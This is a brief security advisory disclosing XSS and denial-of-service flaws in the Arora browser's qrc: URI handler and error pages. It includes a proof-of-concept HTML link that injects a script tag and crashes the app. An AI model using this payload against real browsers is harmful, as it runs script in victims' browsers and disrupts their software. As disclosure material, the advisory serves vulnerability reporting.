Arora qrc: dialog XSS and DoS

#######################################  
  
Arora is a lightweight cross-platform web browser. It's free (as in  
free speech and free beer).  
Arora runs on Linux, embedded Linux, FreeBSD, Mac OS X, Windows,  
Haiku, and any other platforms  
supported by the Qt toolkit.  
  
Arora uses the QtWebKit port of the fully standards-compliant WebKit  
layout engine.  
It features fast rendering, powerful JavaScript engine and supports  
Netscape plugins.  
  
Arora contains a two flaws that allows a remote cross site scripting  
(XSS) attack and DoS.  
  
This flaw exists because the application does not validate the qrc:  
Uri dialog and  
internal error pages. This may allow a user to create a specially  
crafted Link/url that  
would execute arbitrary script code in a user's browser within the  
trust relationship  
between their browser and the qrc handler ( local ).  
  
Also Arora has a second flaw that allow Denial of service or app to  
crash in a special link.

Proof of Concept

create a html doc and write this code, click in the link and it execute  
the xss and if accept the alert box, the app crash :)  
<html><body>  
<a href='qrc:/"><script>alert('Sorry, Now Your App  
Crash!');</script>'>Arora about: handler XSS</a>  
</body></html>
